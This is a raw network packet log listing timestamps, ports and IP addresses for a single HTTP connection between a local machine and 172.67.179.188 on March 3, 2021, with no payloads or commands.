Mar 3, 2021 07:33:31.312510014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.312556982 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.313162088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.313189030 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.313242912 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.313849926 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.313879967 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.313934088 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.314532042 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.314555883 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.314613104 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.315220118 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.315247059 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.315293074 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.315916061 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.315939903 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.315967083 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.316603899 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.316632986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.316731930 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.317290068 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.317317009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.317343950 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.317965031 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.317995071 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.318048000 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.318689108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.318715096 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.318763971 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.319344044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.319370985 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.319422007 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.320034027 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.320059061 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.320110083 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.320728064 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.320759058 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.320781946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.321417093 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.321441889 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.321491957 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.322094917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.322120905 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.322174072 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.322782040 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.322808981 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.322865009 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.323437929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.323466063 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.323493004 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.324117899 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.324142933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.324203014 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.324800968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.324829102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.324876070 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.325478077 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.325505972 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.325576067 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.326159954 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.326185942 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.326220989 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.326834917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.326862097 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.326911926 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.327511072 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.327541113 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.327601910 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.328206062 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.328233957 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.328284025 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.328852892 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.328881979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.328938961 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.329515934 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.329543114 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.329571962 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.330187082 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.330212116 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.330264091 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.330874920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.330905914 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.330948114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.331521034 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.331552982 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.331598997 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.332196951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.332226038 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.332272053 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.332855940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.332881927 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.332902908 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.333545923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.333575010 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.333619118 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.334208965 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.334235907 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.334280968 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.334873915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.334898949 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.334943056 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.335550070 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.335575104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.335594893 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.336205006 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.336232901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.336288929 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.336870909 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.336906910 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.336957932 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.337563038 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.337594032 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.337644100 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.338248014 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.338282108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.338332891 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.338905096 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.338937044 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.338988066 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.339560986 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.339592934 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.339606047 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.340228081 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.340260983 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.340327024 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.356841087 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.356878996 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.356971025 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.357105017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.357135057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.357239962 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.357781887 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.357812881 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.357880116 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.358458042 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.358485937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.358546019 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.359107018 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.359133005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.359213114 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.359761000 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.359793901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.359853029 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.360446930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.360469103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.360502958 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.361114025 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.361135006 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.361180067 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.361790895 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.361815929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.361861944 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.362442017 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.362471104 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.362493038 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.362493992 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.362550020 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.363408089 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.363436937 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.363456964 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.363504887 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.364383936 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.364414930 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.364438057 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.364469051 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.364486933 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.365330935 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.365362883 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.365412951 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.365422010 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.366302013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.366331100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.366353035 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.366374016 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.366395950 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.367242098 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.367270947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.367291927 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.367321968 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.368127108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.368150949 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.368211985 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.368227005 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.368274927 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.369004965 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.369029045 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.369054079 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.369080067 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.369870901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.369894981 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.369915009 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.369942904 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.369970083 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.370757103 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.370781898 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.370805979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.370835066 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.371606112 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.371629953 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.371653080 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.371679068 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.371706963 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.372474909 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.372498989 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.372519970 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.372561932 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.373248100 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.373275995 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.373327017 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.373774052 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.373804092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.373826027 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.373846054 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.373872042 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.374576092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.374605894 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.374629021 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.374650955 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.375370979 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.375401974 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.375426054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.375448942 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.375480890 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.376157999 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.376187086 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.376210928 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.376251936 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.376943111 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.376971006 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.376997948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.377019882 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.377048016 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.377723932 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.377753973 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.377775908 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.377804041 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.378478050 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.378508091 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.378531933 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.378559113 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.378590107 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.379193068 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.379218102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.379240036 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.379262924 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.379267931 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.379300117 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.380177021 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.380209923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.380240917 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.380264997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.380280972 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.380311012 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.381119013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.381149054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.381174088 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.381197929 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.381206036 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.381244898 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.382083893 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.382118940 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.382143021 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.382169962 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.382172108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.382231951 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.383025885 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.383055925 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.383084059 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.383100986 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.383106947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.383163929 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.384013891 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.384043932 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.384068012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.384089947 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.384090900 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.384147882 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.384907007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.384936094 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.384955883 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.384977102 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.384984016 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.385020018 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.385814905 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.385843039 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.385864019 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.385881901 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.385890961 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.385931015 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.386697054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.386873007 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.386894941 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.386914968 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.386919975 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.386936903 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.386980057 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.387748003 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.387778997 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.387803078 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.387804031 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.387826920 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.387872934 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.388593912 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.388621092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.388643980 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.388664961 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.388665915 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.388688087 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.389442921 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.389471054 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.389492989 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.389513016 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.389514923 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.389542103 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.390398026 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.390424013 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.390445948 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.390467882 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.390471935 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.390511990 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.391091108 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.391114950 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.391136885 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.391159058 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.391168118 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.391181946 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.391937971 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.391967058 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.391992092 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.391999960 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.392011881 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.392102003 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.392774105 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.392802954 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.392826080 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.392846107 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.392874956 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.392904043 CET	49778	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:31.393548012 CET	80	49778	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:31.393579006 CET	80	49778	172.67.179.188	192.168.2.4
